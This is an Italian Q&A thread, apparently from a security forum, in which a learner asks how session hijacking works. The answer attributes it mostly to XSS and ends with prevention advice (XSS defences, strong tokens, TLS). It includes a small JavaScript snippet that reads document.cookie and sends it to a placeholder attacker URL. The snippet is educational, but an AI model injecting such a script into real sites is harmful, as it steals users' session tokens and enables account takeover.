Session Hijacking e autenticazione

1

Sto imparando i protocolli di autenticazione e ho difficoltà a comprendere, in che modo è possibile evitare il dirottamento di sessione.

Ho appreso che una contromisura consiste nell'utilizzare i protocolli di autenticazione, che associano una chiave di sessione univoca a un strong processo di autenticazione reciproca.

Quindi diciamo che utilizziamo una specie di protocollo di Challenge Response reciproco con AES e includiamo una chiave di sessione strong e casuale. Non capisco davvero come funzioni il dirottamento di sessione, ma suppongo che sia in qualche modo fatto tramite l'iniezione di codice. Quindi la chiave di sessione, che è memorizzata in memoria, probabilmente non è sicura e può essere rilevata anche, no?

    
posta user66875 21.01.2017 - 17:44
fonte

1 risposta

2

Il dirottamento della sessione viene eseguito più comunemente attraverso l'uso di cross-site scripting (XSS), che in caso di successo può prelevare il token / chiave di sessione e inviarlo ad un attaccante in attesa. L'utente malintenzionato può quindi utilizzare il token di sessione come se fosse l'utente autenticato originale, ignorando i controlli di autenticazione e accedendo all'applicazione. Spesso la chiave di sessione viene semplicemente scritta su un cookie sul computer client che è facilmente accessibile tramite semplici API del browser JavaScript, come mostrato di seguito:

<script>
        // get the token
        var token = document.cookie;

        // send it to attacker through http request to waiting endpoint
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open( "GET", "badguyurl?token=" + token, false );
        xmlHttp.send();
</script>

Gli sforzi di prevenzione del dirottamento della sessione dovrebbero concentrarsi sulla prevenzione degli attacchi XSS, sugli attacchi man-in-the-middle e sull'uso di token crittografici forti e sulla crittografia dei dati in transito (SSL / TLS).

Come sottolinea Marcus, se un utente malintenzionato ha accesso alla memoria al server web che ospita l'applicazione (che probabilmente indica un compromesso definitivo del tuo server web), hai maggiori problemi di cui preoccuparti.

    
risposta data 21.01.2017 - 19:53
fonte

Leggi altre domande sui tag